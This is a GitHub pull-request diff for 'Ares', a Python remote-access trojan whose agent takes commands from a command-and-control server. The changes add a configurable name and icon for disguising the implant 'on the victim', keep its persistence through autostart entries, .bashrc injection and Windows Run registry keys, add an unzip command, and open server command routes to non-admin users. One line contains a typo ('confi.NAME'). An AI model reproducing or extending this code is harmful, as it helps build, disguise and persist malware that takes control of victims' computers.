Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ server/uploads
*.db
server/agents
TODO

\.vscode/
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -110,6 +110,9 @@ Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.

unzip <archive_name> <destination>
Unzips a file in the current directory

screenshot
Takes a screenshot.

Expand Down
56 changes: 41 additions & 15 deletions agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,9 +47,9 @@ def __init__(self):
def get_install_dir(self):
install_dir = None
if platform.system() == 'Linux':
install_dir = self.expand_path('~/.ares')
install_dir = self.expand_path('~/.'+config.NAME)
elif platform.system() == 'Windows':
install_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
install_dir = os.path.join(os.getenv('USERPROFILE'), config.NAME)
if os.path.exists(install_dir):
return install_dir
else:
Expand Down Expand Up @@ -191,44 +191,45 @@ def persist(self):
self.send_output('[!] Agent seems to be already installed.')
return
if platform.system() == 'Linux':
persist_dir = self.expand_path('~/.ares')
persist_dir = self.expand_path('~/.'+config.NAME)
if not os.path.exists(persist_dir):
os.makedirs(persist_dir)
agent_path = os.path.join(persist_dir, os.path.basename(sys.executable))
shutil.copyfile(sys.executable, agent_path)
os.system('chmod +x ' + agent_path)
if os.path.exists(self.expand_path("~/.config/autostart/")):
desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName=Ares\nExec=%s\n" % agent_path
with open(self.expand_path('~/.config/autostart/ares.desktop'), 'w') as f:
desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName="+config.NAME+"\nExec=%s\n" % agent_path
with open(self.expand_path('~/.config/autostart/'+config.NAME+'.desktop'), 'w') as f:
f.write(desktop_entry)
else:
with open(self.expand_path("~/.bashrc"), "a") as f:
f.write("\n(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n")

elif platform.system() == 'Windows':
persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
persist_dir = os.path.join(os.getenv('USERPROFILE'),config.NAME)
if not os.path.exists(persist_dir):
os.makedirs(persist_dir)
agent_path = os.path.join(persist_dir, os.path.basename(sys.executable))
shutil.copyfile(sys.executable, agent_path)
cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % agent_path
cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "+config.NAME+" /t REG_SZ /d \"%s\"" % agent_path
subprocess.Popen(cmd, shell=True)
self.send_output('[+] Agent installed.')

def clean(self):
""" Uninstalls the agent """
if platform.system() == 'Linux':
persist_dir = self.expand_path('~/.ares')
persist_dir = self.expand_path('~/.'+config.NAME)
if os.path.exists(persist_dir):
shutil.rmtree(persist_dir)
desktop_entry = self.expand_path('~/.config/autostart/ares.desktop')
desktop_entry = self.expand_path('~/.config/autostart/'+confi.NAME+'.desktop')
if os.path.exists(desktop_entry):
os.remove(desktop_entry)
os.system("grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc")
os.system("grep -v ."+config.NAME+" .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc")
elif platform.system() == 'Windows':
persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares"
persist_dir = os.path.join(os.getenv('USERPROFILE'), config.NAME)
cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "+config.NAME
subprocess.Popen(cmd, shell=True)
cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir)
cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v "+config.NAME+" /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir)
subprocess.Popen(cmd, shell=True)
self.send_output('[+] Agent removed successfully.')

Expand Down Expand Up @@ -259,7 +260,25 @@ def zip(self, zip_name, to_zip):
self.send_output("[+] Archive created: %s" % zip_name)
except Exception as exc:
self.send_output(traceback.format_exc())


@threaded
def extract_zip(self,zip_name,destination=""):
""" Unzips a zip file in the current directory """
try:
zip_name = self.expand_path(zip_name)
if not os.path.exists(zip_name):
self.send_output("[+] No such zip file: %s"% zip_name)
return
if destination=="":
destination = os.path.dirname(zip_name)
self.send_output("[*] Starting zip extraction...")
zip_file = zipfile.ZipFile(zip_name)
zip_file.extractall(destination)
zip_file.close()
self.send_output("[+] Extracted archive: %s" % zip_name)
except Exception as exc:
self.send_output(traceback.format_exc())

@threaded
def screenshot(self):
""" Takes a screenshot and uploads it to the server"""
Expand Down Expand Up @@ -323,6 +342,13 @@ def run(self):
self.persist()
elif command == 'exit':
self.exit()
elif command == "unzip":
if not args or len(args) < 2:
self.send_output("usage: unzip <archive_name> <destination> or unzip <archive_name>")
elif len(args) == 1:
self.extract_zip(" ".join(args))
else:
self.extract_zip(args[0]," ".join(args[1:]))
elif command == 'zip':
if not args or len(args) < 2:
self.send_output('usage: zip <archive_name> <folder>')
Expand Down Expand Up @@ -366,4 +392,4 @@ def main():
agent.run()

if __name__ == "__main__":
main()
main()
27 changes: 20 additions & 7 deletions agent/builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
import tempfile


def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist):
def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist,name,icon):
prog_name = os.path.basename(output)
platform = platform.lower()
if platform not in ['linux', 'windows']:
Expand All @@ -17,7 +17,8 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai
working_dir = os.path.join(tempfile.gettempdir(), 'ares')
if os.path.exists(working_dir):
shutil.rmtree(working_dir)
agent_dir = os.path.dirname(__file__)
agent_dir = os.path.dirname(os.path.abspath(__file__))
print(agent_dir,working_dir)
shutil.copytree(agent_dir, working_dir)
with open(os.path.join(working_dir, "config.py"), 'w') as agent_config:
with open(os.path.join(agent_dir, "template_config.py")) as f:
Expand All @@ -27,6 +28,7 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai
config_file = config_file.replace("__IDLE_TIME__", str(idle_time))
config_file = config_file.replace("__MAX_FAILED_CONNECTIONS__", str(max_failed_connections))
config_file = config_file.replace("__PERSIST__", str(persist))
config_file = config_file.replace("__NAME__",str(name))
agent_config.write(config_file)
cwd = os.getcwd()
os.chdir(working_dir)
Expand All @@ -36,14 +38,21 @@ def build_agent(output, server_url, platform, hello_interval, idle_time, max_fai
agent_file = os.path.join(working_dir, 'dist', prog_name)
elif platform == 'windows':
if os.name == 'posix':
os.system('wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py')
cmd = 'wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py'
if icon:
cmd = cmd + " --icon " + icon
os.system(cmd)
else:
os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py')
cmd = 'pyinstaller --noconsole --onefile ' + prog_name + '.py'
if icon:
cmd = cmd + " --icon " + icon
os.system(cmd)
if not prog_name.endswith(".exe"):
prog_name += ".exe"
agent_file = os.path.join(working_dir, 'dist', prog_name)
os.chdir(cwd)
os.rename(agent_file, output)
print(agent_file,output)
os.rename(agent_file,output)
shutil.rmtree(working_dir)
print "[+] Agent built successfully: %s" % output

Expand All @@ -58,6 +67,8 @@ def main():
parser.add_argument('--idle-time', type=int, default=60, help="Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every <hello_interval> seconds).")
parser.add_argument('--max-failed-connections', type=int, default=20, help="The agent will self destruct if no contact with the CnC can be made <max_failed_connections> times in a row.")
parser.add_argument('--persistent', action='store_true', help="Automatically install the agent on first run.")
parser.add_argument('--name',default="ares",help="Name for the application to keep on the victim.")
parser.add_argument('--icon',default=None,help="file for ico file for the output.")
args = parser.parse_args()

build_agent(
Expand All @@ -67,8 +78,10 @@ def main():
hello_interval=args.hello_interval,
idle_time=args.idle_time,
max_failed_connections=args.max_failed_connections,
persist=args.persistent)

persist=args.persistent,
name=args.name,
icon=args.icon
)

if __name__ == "__main__":
main()
1 change: 1 addition & 0 deletions agent/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
IDLE_TIME = 60
MAX_FAILED_CONNECTIONS = 10
PERSIST = True
NAME = "ares"
HELP = """
<any shell command>
Executes the command in a shell and return its output.
Expand Down
1 change: 1 addition & 0 deletions agent/template_config.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
IDLE_TIME = __IDLE_TIME__
MAX_FAILED_CONNECTIONS = __MAX_FAILED_CONNECTIONS__
PERSIST = __PERSIST__
NAME = __NAME__
HELP = """
<any shell command>
Executes the command in a shell and return its output.
Expand Down
7 changes: 4 additions & 3 deletions server/api/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@
import cgi

from webui import require_admin
from webui import require_user
from models import db
from models import Agent
from models import Command
Expand All @@ -38,7 +39,7 @@ def geolocation(ip):


@api.route('/massexec', methods=['POST'])
@require_admin
@require_user
def mass_execute():
selection = request.form.getlist('selection')
if 'execute' in request.form:
Expand All @@ -54,7 +55,7 @@ def mass_execute():


@api.route('/<agent_id>/push', methods=['POST'])
@require_admin
@require_user
def push_command(agent_id):
agent = Agent.query.get(agent_id)
if not agent:
Expand All @@ -64,7 +65,7 @@ def push_command(agent_id):


@api.route('/<agent_id>/stdout')
@require_admin
@require_user
def agent_console(agent_id):
agent = Agent.query.get(agent_id)
return render_template('agent_console.html', agent=agent)
Expand Down
1 change: 1 addition & 0 deletions server/models.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,3 +57,4 @@ class User(db.Model):
salt = db.Column(db.String(100))
last_login_time = db.Column(db.DateTime())
last_login_ip = db.Column(db.String(100))
is_admin = db.Column(db.Boolean,unique=False, default=True)
Loading